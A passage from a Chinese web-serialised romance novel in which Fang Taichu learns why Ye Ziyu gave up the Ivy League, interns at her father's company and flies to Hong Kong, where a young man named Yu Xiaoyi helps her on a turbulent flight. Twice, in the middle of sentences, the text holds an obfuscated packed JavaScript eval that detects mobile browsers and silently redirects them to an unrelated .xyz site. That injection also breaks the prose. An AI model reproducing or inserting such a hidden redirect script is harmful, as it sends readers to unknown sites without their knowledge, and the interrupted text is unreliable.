活动结束一行人又转到附近的商场去吃日料,还好两个孩子有连家的保姆照顾,才让大家可以好好聊聊天。 经过大半天的相处,小初已经喜欢上了连筝大气爽朗的个性,于是她未加掩饰,直接把心里想问的话问了。 “连筝阿姨,叶子瑜当年为什么放弃了藤校?” 她记得的,他当年意气风发,扬言非世界名校不读,怎么最后却去了香港,还读了从未听他说过的牙科?他明明成绩那么好。 而他们的关系,似乎就是从他登上飞往香港的飞机开始微妙变化的。 连筝叹口气。 “是因为钱?” 这话未免太过直白,黄亦玫冷汗差点下来,赶紧给两个人都添了杯茶。 “是。”连筝直言。 “怎么会?”小初怔住。 叶子瑜的家庭虽然只是中产,但听说他爸可是某全球知名咨询公司的合伙人,年薪两百万不止,叶子瑜藤校本硕期间所有费用加起来怎么样五六百万也就够了,怎会成为他们的负担? 难道是他们不想为他付出? “有些话站在我这个立场真的没法说,但我又实在心疼子瑜,你知道的,我一向视他为己出,他之前的留学规划甚至都是我给做的,我自己就硅谷回来的,除了美国那几所高校,别的学校我压根看都没看。”连筝红了眼睛。 小初递了张纸巾过去。 “他爸因为他这个决定都被气病了,两父子已经两年没怎么说话了。” 不是连筝夫妇,所以,问题出自叶子瑜的亲妈于静? 小初对于静同样知之甚少,所以她猜不到这中间到底发生了什么事。 “你到时候自己去问他吧,毕竟,他心里怎么想的,只有他自己最清楚。” 小初心烦意乱,却也只能点头答应。 再问下去,就不礼貌了。 连筝最后又期期艾艾地问了句:“子瑜和你联系了吗?他有没有说他这个暑假回不回家?我们都很想他,去那边看他他又不肯见面。” 小初摇摇头,只说:“他和我也好久没联系了。” “这孩子心里苦,那就拜托你了小初,到时候帮我们好好劝解一下他。”连筝抓住小初的手,像是抓住一根救命稻草。 回去的路上,小初始终沉默着。 直开到离她家只剩三个路口,黄亦玫才率先开口:“听上去,他这是自我放逐了,因为某些家庭原因。” 小初点头。 “这孩子性子这么烈……” 黄亦玫的语气很斟酌。 小初感觉她更想说的是,这孩子的性子这么偏执,怎么看都不是做男朋友的最好选择。 只是她不会像她爸那么直白罢了。 “我都懂。”小初反而安慰地拍了拍妈妈的手,“你和爸爸放心,我不会陷入别人的痛苦,更不会介入别人的因果的。但他是我的朋友,我也做不到事不关己,你能明白吗妈妈?” 她现在极为迷茫和软弱,很需要家人的理解和支持。 “当然能了!”黄亦玫眨眨眼,“我和爸爸将永远支持你。” “有你们真好。” 一整个暑假,北京都无比潮湿和炎热。小初没心思出去玩,干脆跟她爸申请了个实习岗位,天天往亦方跑。 期间还陪姥姥姥爷去了几趟医院,最后为了不能厚此薄彼,她又飞去延吉陪了奶奶两周。 某天从医院回来她累得两眼发直,那天刚好她爸在家,她一进门也不知道哪根筋不对,张口就问她爸:“方总,你年轻时候为什么不跟我妈多生几个孩子啊?现在这家和业都压我一个人身上,你想累死我啊?” 她爸当时倒是没说话。 只是第二天就让负责人把他们这帮实习生都下放到分部去了。 分公司也没别的,就是装修差,厕所反味儿,饭菜难吃,空调忽冷忽热而已。 她气得半死,用公司邮箱给他发邮件抗议。 他只淡淡回了一句过来。 “这家业太大,我怕你锻炼得不够扛不起来。” 这个记仇又心窄的男人。 4. 第 4 章 小初工作的这个园区,其实是亦方年初才收购过来的。 地段和配套都比本部强,只是还没有装修,设施略显老旧,目前只有几个项目组在这边办公。 挣扎和煎熬的状态只持续了一天,小初就已经平静下来,开始按部就班打卡上下班。 不是她太随遇而安,而是她爸给她安排的这个岗位刚好是她感兴趣的算法设计,为了热爱,她可以不计较那么多。 还有很重要的一点,这边离家更近,通勤时间可以压缩一半,她每天至少能多睡一个小时。 仔细想想她爸还是爱她,因为他至少没把她外派到分散于全国的其他二十几个分公司去,虽然她私心里还挺希望他那么做的。 不是家里的环境不够宽松,而是她突然觉得十几年都生活在同一个城市很腻,很想出去走走。 不是旅游那种短暂的行程,而是彻底地让自己扎进一个陌生的市井里,好好闻闻那里的烟火气。 并辨别一下和北京有什么不同。 实习结束,她爸问她对分公司的经营和管理有什么想法没有,她也没客气,洋洋洒洒写了七八页意见书过去,连晚点和夜宵的品类不够丰富这样的小细节都没放过。 她递过去的时候其实已经做好被他嘲讽满身大小姐臭毛病的心理准备了,不想他却越翻笑容越深,连带着看她的眼神都一寸寸染上了骄傲。 当晚刚好全家聚餐,为她去香港践行,舅舅黄振华点好了菜,见他们父女坐在角落里盯着一叠文件也不搭理别人,不禁旧事重提:“早说了不要给她取方太初这个名字,跟个老学究似的,好好的小姑娘都读成书呆子了。” 话音一落就被舅妈苏更生嗔了句:“有做舅舅的这么说话的?” 黄亦玫也说:“就是。” 小初早习惯了她这个口无遮拦的舅舅,头都没回,只盯着她爸看。 十三岁的表弟黄予安凑上前来,好奇地问道:“姑父看什么呢。” 方协文这才收起文件朝小初一笑:“新园区的设计方案发你了,回去查一下邮箱,挑个喜欢的告诉我。” 小初一愣:“我挑?” “嗯,回头这边就是亦方的数学研究所,你好好学,四年后等你博士毕业,回来给我挑大梁。” 小初所在的英才班采用的是3+2+3本博衔接的培养模式,她爸倒也没说错,所以严格意义上来说,明天赴港,她就是一年级的研究生了。 黄振华忍不住提醒:“你闺女才二十岁,人家女孩子这个年纪都读书逛街、看电影喝奶茶谈恋爱呢,你这么早就把孩子未来给定了,有问过她意见吗?” 方协文也觉得自己有些操之过急,赶紧转圜道:“好,爸爸不给你压力啊,你将来若是不想回亦方也是可以的。” 小初却眨眨眼:“大梁我肯定是要挑的,只是你容我先谈个恋爱试试什么滋味。” 错过叶子瑜,她不知道多少年才能碰见一个让自己心动的人了,无论好坏,她必须给自己一个结果和交代。 她这么说黄振华又有些没好气:“你听听,这是一个二十岁的女孩子该说的话?” 小初顿时咬唇做了个委屈的样子:“那舅舅你到底要我怎么样嘛!” 一句话,就把全家逗笑。 姥姥却有些忧心忡忡:“我怎么有种预感,小初这趟香港行非得跟她妈当年似的,看上个外地的男孩就不回来了。” 黄亦玫深知自己当年的行径曾让两位老人多么操心,立刻笑道:“哎呀,我这都回京十几年了,您还记着这事儿呢?” 方协文也说:“妈您放心,你们家的姑娘都有把喜欢她的男孩拐回家的本事。” 他们这样说,小初满脑子都是叶子瑜笑起来时那股几乎要溢出来的少年意气,于是信誓旦旦,“你们大可放心,我连对港风都无感,又怎么会爱上那个氛围里长大的男孩?还有,我到底要说多少遍,我去那边首先是去交流学习的,谈恋爱只是附属品!” 她的初衷才不是叶子瑜,只是叶子瑜刚好也在那里,好吗? 众人看她孩子气的样子,反而都静了下来,都担忧地看向她。 小初这才想起,这还是她长这么大第一次离开家独自去另一个城市生活那么长时间,也难免他们会不舍。 方协文说:“你就答应去爸爸给你找的房子住不好吗?到时候再从家里派一个阿姨过去照顾你,免得你吃不惯那边的东西,身体搞坏掉。” “爸,我这辈子大概也就这一次机会离开你和妈妈试着独自生活一段,连这个机会你也要剥夺吗?” 方协文还欲说什么,却被黄亦玫按住了手,“好啦,快吃饭,菜都上齐了。” 小初暗暗舒了一口气。 在这个家,凡事只要她妈妈是站在她这边的,那大概率就能成。 她才不要一举一动都被家里的司机保姆和保镖盯着呢,到时候香港那边哪怕一只蝴蝶煽动下翅膀,北京都要刮场飓风。 给自己找什么麻烦。 第二天中午十二点,小初准时从家里出发。当天方协文要去谈一个G端项目,黄亦玫的艺术馆也刚好有展览开幕,只能由家里的司机送她。 这些其实是她提前就计划好的。 从她家里到机场一个小时,候机一个小时,航程三个小时四十五分钟,那么飞机落地后,她刚好可以和叶子瑜去共进晚餐。 她自认为自己的计划非常完美,于是谢绝了方协文的头等舱机票,也没穿黄亦玫买给她的据说很适合她这种高智千金的均价不低于五位数的miumiu。 ——而是找了个平替,一件没有任何Logo,看上去也不会给人太大压力的藏蓝色Polo衫搭配白色短裙。 脚上虽是一双平底鞋,却不妨碍她的一双腿看上去无比瘦削和修长。 为此,她还特地卷了头发化了妆。 她什么都没带,只带了一颗怦然的少女心,就奔向了她认为的短暂自由,和一段未完待续的爱情。 她想她今晚就可以欣赏到维港的夜色了,并一定会在那个氛围中亲到她喜欢了一整个青春,也喜欢了她一个青春的男孩。 那个画面光是想想,她就已经红了脸。 只是她实在没预料到人可以倒霉成那个样子。 家里的司机刚走没二十分钟,机场上空就开始雷暴,而且雨势越下越大,很快所有航班的状态就变成了待定。 小初没买头等舱,只能跟着大部分旅客挤在混乱的候机厅里,也不知是她心情作祟还是怎样,她总觉得大厅里的空调不够制冷,到处都弥漫着一股潮湿黏腻的人肉味,闷得人喘不过气来。 延误两个小时后,终于有人耐心耗尽,开始频频找工作人员发泄情绪。 但雨还没有停歇的迹象。 但工作人员也只能表示抱歉,说今年入汛以来就是这个情况,他们也无能为力。 期间方协文和黄亦玫都打了电话过来,从他们的语气判断市区的雨下得应该不是很大,小初不想他们担心,只说飞机马上就起飞了,就匆匆挂断了电话。 然后她发消息给叶子瑜,跟她说她会晚点出发,叫他不要太早出门。 一个小时后,机场终于通知可以登机。 小初透过机场的玻璃窗向外看,发现外面天色极暗,跑道上闪着灯,已经有飞机在滑行。 她这次乘的是小飞机,商务舱和经济舱之间就简单隔了一下,前端旅客也要和她们从一个舷梯上来,而且她稍微瞧了一眼,他们的座位也并没有比后面的宽敞多少,心理这才平衡了一些。 不然折腾成这样,她肯定要后悔没买头等舱这件事了。 这趟航班的人倒是不多,小初的座位就在经济舱第一排右侧的靠过道的位置,她过去的时候,里面已经坐了一个男人。 那男人大概三四十岁,其貌不扬身量不高皮肤还有点黑,但打扮得却极为精致,尤其头发,用发胶固定得死死的,无论飞机待会多么颠簸,都不会弄乱发型的那一种。 小初立刻判断对方不是大陆人。也不是他哪里特别,只是两边人的气质的确有很大差别。 小初把随身的旅行袋放到了行李架上,包包的带子垂了下来,虽然没有碰到那男人的头,但他还是明显不耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309750|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦地蹙了蹙眉,并下意识看她一眼。 “不好意思。”小初点点头,迅速把包带塞了回去,并坐下身来。 男人的面色在看到她的脸的瞬间立刻有所缓解,甚至还破天荒朝她点了点头,眼神里都是凝视。 这种画面小初早就见怪不怪,心里虽然有点膈应,但也没太在意,而是直接拿出了耳机。 旅客们陆续就了座。直至舱门关闭,她同那香港男人之间的空位也没人上来。 小初不禁暗呼倒霉。 她转头往旁边看了下,走廊另一侧的三个座位倒是都坐满了,和她邻座的是个年轻男孩,虽然戴着黑色口罩让人看不清他表情,但眉眼看着就挺善良的。 她瞬间就做好了决定,一会儿要是旁边这个男的骚扰她,她就和他换个座。 年轻人嘛,同理心总会重一点,正义感也总会强一点。 不知道是不是巧合,她看过去的时候,他也刚好看过来,小初即刻勾唇朝他笑了笑,为一会儿可能会发生的事做了个铺垫。 男孩却似是被她的行为吓到了,怔了半晌,又朝他后面两个人看了看,直至确认小初微笑的对象就是他,才疑惑地问了句:“小姐,我们认识?” “啊?” 这一位的普通话其实还可以,只是那个音调和气质,还是立刻让她认出了他也不是长期在大陆生活的。 “没有没有。”小初心里已对此人放弃希望,因为她再清楚不过那边的人边界感有多强,笑容已经淡了下来,“我认错人了。” 男孩似是有些疑惑,但也没有再说什么。 机舱整理完毕,空乘人员开始通知大家将手机调成飞行模式。 偏这会儿,叶子瑜的电话进来了,把小初吓一跳,这个平时回微信都恨不得数好字数的人,怎么突然打起了电话? 她立刻有种不太好的预感,并马上点击了接听。 “喂?怎么了?我马上就可以起飞了。”小初用掌心遮住嘴,声音放得很轻,希望自己尽量不要打扰到别人。 “方太初。” 叶子瑜的声音恍如隔世,小初的心蓦地一刺。 “嗯?” “我大概不能去接你了。”他的声音也放得很轻。 这个答案小初始料未及,因为她知道他向来是个守诺的人,答应的事从不会随意更改。 若非如此,他又怎么会连表白都不敢表白,单是表白又不用如何负责。 “发生什么事了?”小初的声音已经开始慌。 “没什么大事,就是出了个小车祸。”叶子瑜一副北京男孩什么都不放在心上的死样子,“现在正在坐救护车去医院。” “救护车!”小初的声音无意识地放大。 立刻招来一个空姐不耐烦的训斥,“小姐,讲好要关闭无线电,我讲的是普通话吧,你听唔懂?” 小初抬眸看了对方一眼。 明明她旁边那个老男人也在打电话,她却只说她。 叶子瑜说:“没什么大事,就腿破了点皮,死不了。今天太晚了,你落地先找个酒店住下,明天我找个人去陪你办入学手续。” 小初哽咽,“你把医院位置发我。” 空姐用粤语骂了句什么。 小初挂断电话。 旁边的港男还在煲电话粥。 空姐转换成英语,语气温和,再次提醒那个男人将手机关成飞行模式。 那男人无可无不可看了她一眼,这才照做。 小初的眼泪扑簌簌就落下来了。倒不是因为空姐毫不掩饰的歧视,而是担心叶子瑜。 他说找个人带她去办手续,不就是在告诉她他的情况不容乐观吗? 正哭着,却见一修长如竹的手隔着过道向她伸了过来,随之而来的还有一张洁白的纸巾。 “不用在意,她们对谁都那样,你要是不开心,可以投诉。” 小初转过头去。 通道隔壁那男孩已经摘了口罩,正温润有礼地看着她笑。 那一刻,她好像看见了当年港剧里摘下面具的杨过。 惊鸿一瞥。 5. 第 5 章 小初镇静地看着对方的眼睛。 若是平时,她是断不会接受陌生人的好意的,但今天,毕竟是她先搭讪的人家,所以她也只能自食其果了。 “多谢。” 接过纸巾的刹那,两人指尖有短暂的相接,不知是不是她的错觉,他似是有些紧张,睫毛一直在微动。 “唔使。”口中的粤语脱口而出,又被他马上改为国语,“不必客气,有什么需要帮忙的,你可以跟我说,我帮你沟通。” 小初莞尔,很领情地用那张纸巾擦了落到唇边的眼泪,“费心,暂时不需要。” 下一秒,情绪已经恢复如常。 长大以后的她很少在外人面前哭,主要她太过于清楚眼泪这种东西挂在她这样一张脸上,会是多么危险的一种信号。 她不想做别人眼里的一盏琉璃樽,美丽易碎到谁都可以看穿她的心事,企图掌控她的情绪。 美貌对于她这种出身的人,有时候更多是一种负担。 所以她很少打扮。 舅舅还说,她妈妈像她这么大的时候,追她的男孩恨不能都绕清华园一圈了,怎么到她这儿家里这么安静,连个电话都没有男孩打过来。 真是一代不如一代。 她只是笑,语气漫不经心,“那就要怪家里现在没有固定电话了呗,不然我可以让它二十四小时不间断地响,烦死你们。” 客舱灯很快就被调暗,飞机开始滑行,并在十几分钟后冲上了云霄。 小初只觉思绪纷乱,胸口像堵了一团什么东西,上不来也下不去,就那么生生地折磨着她。 飞机平稳后靠窗的男人来回进出了三次,最后一次终于和她搭了话:“我看小姐长得这么漂亮,身材又好,不知道对模特这一行有无兴趣?” “没兴趣。” “是这样,你不要紧张,我不是坏人来的,我真的是杂志社的。”男人递过一张名片来,满脸堆笑,用很考验听力的普通话继续说道:“要不是遇见极漂亮的美女,我们一般是不留联系方式的,可小姐你实在令人惊艳,假如你对杂志没兴趣,我们也可以介绍你到电视台做培训生,机会很好的。” 小初有些不耐烦,语气渐冷,“先生,我说了我没兴趣,名片就不收了。” “你考虑一下啦。”男人不经意打量她一眼,循循善诱着,“你要是肯,以后说不定就能大红大紫,到时候别说什么名牌衣服和包包,就是飞上枝头做凤凰,也是不在话下的嘛。” 小初沉默。 他们自己的艺人都北上寻金了,他还好意思在这大言不惭呢?还当他们是经济腾飞时期而大陆人都活在上个世纪六十年代呢! 哦,她想起来了,现在这个港圈文化似是又有复苏趋势,就连艾琳有段时间都专找这个位高权重吻美人锁骨的小说打发时间,大佬做上位者掌控全局,美人做下位者欲拒还迎,无论中间经历多少波折,最后都能一只勺子共饮一碗糖水。 要是这种也就算了,好歹你情我愿不危害别人。可她听着旁边男人这意思,倒像是在给哪个上不了台面的老男人找小老婆? 知道他们那边土不土洋不洋,有钱人都喜欢养几房太太和一堆女朋友,可他是不是眼瞎,主意都打到她方太初头上来了! 哦,这事怪她,她早该听她爸妈的话穿着几万块的行头去坐头等舱,那样就碰不到这种倒人胃口的家伙了,就算碰到,想必他也会斟酌下措辞,不敢如此大放厥词。 可眼下客舱安静得要命,她要真跟这种人计较,才是失了风度还扰乱公共秩序,于是打定主意冷处理,让他自讨没趣去。 还有一点她的一颗心都扑在叶子瑜身上,只想立即飞到他身边看看他怎么样,否则,呵,她冷笑,她恐怕他英语和国语加起来都未必是她的对手。 见她不说话,男人还只当她是年轻矜持,笑容逐渐玩味,“小姐你长得这般靓,又年轻……” 小初本还垂着眸想听听他还能说出多么离谱又下流的话来呢,是否够证据告他骚扰,可惜某人却没给她这个机会。 “够了!” 旁边那位“杨过”似是比她还忍无可忍,“你没听见人家小姐说不感兴趣了吗?” 小初侧眸过去,发现对方眉目间的温润已然消失,眸底蔓延的都是淡漠和厉色,虽没有什么过激的语言,却独有一种和他年龄极为不符的不怒自威的气场。 老男人怒道,“关你咩事?” “杨过”说:“你再纠缠我就叫工作人员了。” 男人有些讪讪,骂了句“痴线”后,终于闭了嘴。 小初感激地朝那男生点点头,这才悄悄按停手机上的录音键。 对方即刻展颜,某种流动的风华刹那间如晴雪初霁,填满了这方狭小的空间。 小初怔了怔,随即收回目光,开始闭目养神,她相信,靠窗那男人这下应该是彻底老实了。 没一会儿,她就迷迷糊糊睡着了。 梦里的画面很纷乱,她一时也分不清自己是在某段真实存在过的记忆里,还是一个全凭她想象的时空,总之那个世界正在下雪,而家里的小猫丢丢站在一截青砖墙上,甚至都没回头看她一眼,就跳到墙的那一边去了。 一种痛彻心扉的“失去”感觉袭来,她冷得蜷起了身子。 隐隐约约间,她好像听见有人在耳旁低声说话,至于说什么,却不得而知。 没一会儿,她就被什么东西包裹住了。 突如其来施加在身体上的力量让小初倏地就睁开了眼。 前面刚训斥过她的那个空姐正将一条毯子盖在她身上,依旧面无表情,“小心着凉。” 客舱里空调太低,小初感激于人家的服务,也不打算计较那么多,说了句:“谢谢。” 经过这么一下,她怎么都睡不着了。 刚刚那个关于失去的梦反复进入脑海,她总感觉又有什么东西正在她不经意间从生命里流失。 她但愿那不是叶子瑜。 没一会儿,工作人员就开始发放餐食。 小初没食欲,且还是觉得冷,只要了一杯热茶握在手心。 隔壁的“杨过”似乎也对飞机上的餐食没兴趣,跟空姐说:“麻烦给我一杯和这位小姐一样的。” 小初闻言下意识转眸过去 ,两人的目光再次撞到了一起。 对方立刻朝她笑笑。 而且很明显,这次的笑容比之前自然了不少,仿佛与她之间已经建立了某种默契似的。 小初立刻在心里暗骂了自己一句,反射弧生得这么短干什么!她这样频频跟人家致意,可别让人家心里对她产生什么误解出来! 为了掩饰,她只能刻意将视线转向发餐食的那位看起来稍微面善一点的空姐,“不好意思,要不我……” “要不你就吃一点?”空姐试探道。 “啊……”小初从没吃过经济舱的餐食,一时下不定决心。 倒不是她口味太挑剔,小时候跟着姥姥姥爷天天吃大学食堂,导致她对吃的向来接受度都挺高的,只是她此刻实在没什么胃口,不太想浪费食物。 “我们今天有鸡肉饭,鳕鱼饭,还有叉烧包和冰激凌。”空姐热情得简直一点不符合她对她们的刻板印象。 小初实在盛情难却:“那好吧,给我来一份鸡肉饭吧,点心和冰激凌不需要,麻烦再帮我加一杯热茶。” “好的!” 空姐立刻麻利地按她要求做起了服务,并自然而然转向身旁的“杨过”,“先生你要不要再和这位小姐来一份一样的?” 小初差点被一口茶呛到。 不是,他们今天这航班是多配了多少盒饭啊,这么卖力推销?把旅客当成他们家池塘里的鱼了吗?见不得鱼食不在鱼肚里? “杨过”也失笑,“我都OK。” “好的先生。” 经过这么几次往来,两人好像真的有些熟悉了的意思,小初不好再看他的方向,把注意力都转到自己面前的这份饭上来。 虽是预制菜,味道倒是比她想象的要好很多。 吃饭的时间不算太长,没一会儿,空姐就收走了垃圾,客舱再次恢复了宁静。 靠窗那男人示意她,“不好意思,我出去一下。” 小初不想他的身体蹭过自己的大腿,只好起身避到过道上。 可两人错身而过时,对方身上那股浓烈的尼古丁混合香水的味道还是再次侵入了她的嗅觉系统,险些将她熏倒。 她赶紧往旁边又挪了挪。 偏这会儿,飞机也不知怎么就剧烈颠簸了起来,老男人一个没站稳,就跌坐在了她的座位上。 小初的身形也猛然一晃,还好她核心算稳,关键时刻撑得住。 然后她就开始无比庆幸,庆幸自己刚刚起了身,否则此刻,这老男人不就跌到她怀里去了! 那她这双腿还能不能要了! 小初长呼一口气,正准备站直,然后才意识到了什么不对,等等…… 她这手心传来的触感,不会是,某个男人的手臂吧?小初一寸寸转过头去,简直欲哭无泪,杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309751|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过怎么可以有手臂呢? “实在抱歉!”小初倏地撒开手。 男生说:“没事你赶紧回到座位上!” 客舱广播也开始进行安全提醒。 小初回过头,她的座位还被人鸠占鹊巢着。 说话间颠簸再次升级,飞机机身忽地向右一倾,惯性太大,手上失了支撑的小初再也无力稳住核心,直直就向一旁栽去。 电光火石之间她还不忘提醒自己绝不能再占别人半分便宜,只把他的座椅靠背当成诺亚方舟的船舷,对人则是能避开一寸就不避开半寸。 好在飞机很快回正,一切有惊无险。 为了避开他,小初的脚几乎弯折了一个很大的角度才维持住平衡,男生有些怔。 小初顾不上他,只对占着他座位那人喊:“还不让开!” 那男人似是没想到她一个温柔的小姑娘能发出这么大一个声响,吓得一瑟缩,没出三秒就挪到中间那个座位去了。 小初终于得以回到座位,下一秒就因脚踝上传来的刺痛蹙起了眉,不自觉地“嘶”了一声。 “杨过”离得近,第一个发现异常,神情逐渐凝重,“你怎么了小姐?扭到脚了吗?” 小初露出一点无奈的表情,“好像是。” “怎么样,严重不严重?”他一边说一边按下了座位上的呼叫按钮,并安慰道:“别担心,稍晚叫她们取些冰块来给你冷敷。” 小初稍微活动了一下,还是痛,但也不至于痛到她动弹不得,于是答道:“好像还好,不算严重。” 飞机仍在颠簸,空乘人员过不来,隔着几排座位用粤语朝他喊话:“先生,请问有什么需要帮助?” 男生马上用粤语回了长长一段话过去,小初听不懂他具体每个字是什么意思,但大概还是猜到了对话内容。 几分钟后,飞机终于穿过气流。 机组人员带来了冰块和医药箱,一时又有点犯难,不知道该怎么把那个本来用来食用的冰固定在小初的脚踝上。 “杨过”解开安全带,绅士地看向小初,“我有急救证,你介意我帮你处理吗?” 他的目光似是有某种魔力,小初鬼使神差地摇了摇头,连她自己都没弄清,她摇头的意思是“不介意”还是“不需要”。 男生转向工作人员,“麻烦拿一条毛巾给我。” 工作人员应声。 小初也没看清他是怎么操作的,总之很快,他就俯身帮她脱掉了鞋子,并把一方很冰却又不至刺骨的毛巾敷在了她的脚踝上。 小初这才大梦初醒,脊背瞬间绷直。 两人距离太近,近到她已经被一股正在不断升腾的、来自陌生男人的野蛮侵略感撅住了呼吸。 “就这样坚持十五分钟。” 男生处理好后马上站起了身,声音很轻,目光却没再看她,甚至连句谢谢都没等她说,就往机舱尾部的洗手间去了。 机组人员把一只药膏递给她,“小姐这个稍后别忘记涂。” 小初点头。 并无比庆幸自己穿了双透气的鞋子。 几分钟后,男生回到了座位上。 小初向来不喜欢欠人人情,赶紧抓住机会道谢:“谢谢你啊杨先生。” 男生皱了皱眉,“什么?” 小初这才意识到自己说错了话,尴尬得几乎没钻到地缝里去,连耳垂都红成了玛瑙。 见她这样,对方反而豁然一笑:“鄙姓余,余萧弋,小姐你呢?” 小初咬咬唇。 她可以不说吗?反正他们只是萍水相逢,以后又不会再见面。 对方似乎看出了她的为难,立刻真诚地笑笑:“不方便可以不讲的。” 但…… 人家都这么真诚了,她要是再扭捏,是不是就有点矫情了? “没有不方便。”小初做了个深呼吸,大方说道:“我姓方,方太初。” “好特别的名字。” 小初有些不好意思:“还好。” 气氛不知怎么有点奇怪。 两人都没有再说话。 倒是隔壁座的老男人打破沉默:“不好意思小姐,刚刚要不是因为我……” 小初打断他:“你还要出去吗?” “稍等下也没关系。” 小初说:“那麻烦你坐回去你位置上去。” 话音一落,她就听见左耳传来一声极低的笑。 很轻,很轻。 像是他刚才俯身下去时,不小心喷薄在她小腿上的呼吸。 6. 第 6 章 飞机着陆时,香港也在下雨。 还没走出客舱,小初就已经感受到那种独属于海洋性季风气候的高温和潮湿了。 关闭手机飞行模式,屏幕上第一条跳出来的就是目的地的天气提醒,紧接着北京发生洪涝和地质灾害的新闻也跳了出来。 小初心头一跳,手指不受控制地点进第二条,这才发现汛期以来北部山区已经陆续几十万人受灾,只是昨天的强降水导致了山洪,破坏力再次升级。 屏幕上刺目的伤亡数字让她一阵难过,赶紧打电话过去问黄亦玫家里的情况。 黄亦玫说所有人都很好,叫她不要担心,还说亦方正在开会组织物资捐赠,要确保物资包今晚到位,方协文就不过来跟她讲话了,并叮嘱她照顾好自己。 小初心下稍安,一边和妈妈说着话,一边打开和叶子瑜的聊天页面。 几条未读消息都发于半刻钟之前,先是问她飞机着陆没有,又说天文台刚挂八号风球预警,让她注意安全,落地就去找个地方休息,这两天都不要外出,也不要急着来看他。 学校那边大概率也是要停课,所以她不用担心会耽误正事。 为了证明他很好,还特地给她发来一张他右小腿打着石膏缠着绷带的图片,并调侃,“你也不用太担心,哥们儿已经没事儿了,照完CT医生说不需要手术回家静养定期复查就行。只是短期内肯定是没办法为你接风洗尘了,不过还是要和你说一句,Wee to HK.” 他这种故作洒脱的语气反而让小初心头一刺,宁愿他像之前那样对她惜字如金。 女孩子特有的敏感已经替他提前给了她答案,只是都到这个份儿上了,今天见面同后天见面又有什么分别? 于是抿唇回他:“废什么话,地址发过来。现在时间还早,耽误不了你休息。” 发完就退出了聊天界面。 黄亦玫问香港天气怎么样,看天气预报说是要刮台风。 她答:“现在天气还不错,比北京舒服,台风应该还没那么快。一会儿下了飞机就去宵夜,把之前心心念念的月光八宝盒好好尝一遍。” 黄亦玫似是十分欣慰,语气都变得轻快起来,“好啦,那你快去,别忘了代我向叶同学问好。” 小初说好。 挂了电话,她的脸上的笑容就落寞下来。 行李架已经开启,她站起身,将受伤的那只脚慢慢落下去。几次的冰敷确实有效果,现在那里就只剩下一丝疼,大概率不会影响到她走路了。 “你有随身的行李吗?”一旁的余萧弋也站起了身,温声问道。 小初转过头去。 前面还没注意,这会儿站在一块她才发现,原来他的身高竟有这么高,视觉上和方协文差不太多。 而且他穿的竟然也是学院风,黑色Polo衫配卡其色短裤,再加上他皮肤极为白皙,整个人看上去就格外干净,无端给人一种教养很好又高智的感觉。 “有的。”小初只略略迟疑就大方勾起了唇,指了指行李架,“上面那个旅行袋就是我的。” 他说:“我帮你拿,你先跟工作人员下机,廊桥等我。” 见她怔愣他才反应过来,灿笑,“你这里没有贵重物品吧?” 小初也啼笑皆非,“没有,你放心,就算有也不会讹你。”说完就往旁边让了让,并在空乘人员的搀扶下,缓缓下了飞机。 还好,还能走路。 等余萧弋出来,她已经收到了叶子瑜发来的位置,看着应该是校外的一处公寓,离学校只有几站地铁距离,倒是不远。 两人并肩往外走。叠加的身影映在廊桥的玻璃上,他比她刚好高出半个头。 余萧弋问:“你要去看望生病的朋友是吗?” 小初惊奇:“你怎么知道?” “前面好像隐约听见你说什么救护车。” “不是生病,是出了点事故,右腿骨折。” 余萧弋看了她一瘸一拐的脚一眼,“那你俩还真是同病相怜。” 小初耸耸肩,“谁说不是。” 经过几个小时的相处,中间又发生了这么多事,她好像真的已经不像最开始那样视他为彻底的陌生人。 余萧弋又问朋友家位置在哪里。 小初把手机页面未加掩饰地展给他看,上面她给叶子瑜的备注是一个蓝色的鱼形emoji,她自认没什么暧昧和不妥之处,当然,就算有,她也不会介怀一个外人的理解和看法,“从地图上看好像离这里有点远,打车,哦我是说乘的士也要四十几分钟是吗?” 余萧弋微微垂眸,表情并无一丝变化,只说:“是有点远,不过我刚好也要到那边去,我载你好了。” 小初立即谢绝:“不用了余先生,你已经帮我了很多了,真的不好打扰。” 余萧弋说:“不用客气,这个时间和天气,你乘计程车被拒载的概率很大,不知道要浪费多少时间。你的脚,应该也乘不了MTR吧?”又问,“你还有托运的行李吗?” 小初说:“有。” “我也有,那我们刚好可以一起去取。” 小初停下脚步,还是谨慎地说道:“但我真不能乘你的车。” 即便他截止到目前的表现都无可挑剔,也不意味着他们之间在这么短的时间就可以建立这种程度的信任。 余萧弋露出个了然神色,然后也不说话,只是默默拿出钱包,将回乡证展示给她看,“方小姐,我没骗你的,我是真的要回那边,你要是过意不去,按计程车费分一半给我好了。” 小初有些尴尬,但还是将他的证件仔仔细细看了一遍,并拍了个照存在了手机里。 ——余萧弋,生于春末,大她一岁多。 她也是直到这会儿才知道他名字到底是哪三个字。 余萧弋被她的操作惊了个目瞪口呆,愣了一会儿才哑然失笑:“方小姐,你很率真。” 小初眨眼:“防小人不防君子。” 两人一块去拿行李。 小初那个二十八寸的行李箱,里面有一半都是书,重得不得了,可她看他竟也很轻松就将它搬上了小推车。 他的车是一辆常见款式的日系车,不新也不旧,不便宜也不太贵,不用担心隐于车流会招来任何异样目光。 车里也很干净,还隐约有股很好闻的木质香,像是雨后森林,很治愈也很舒服。 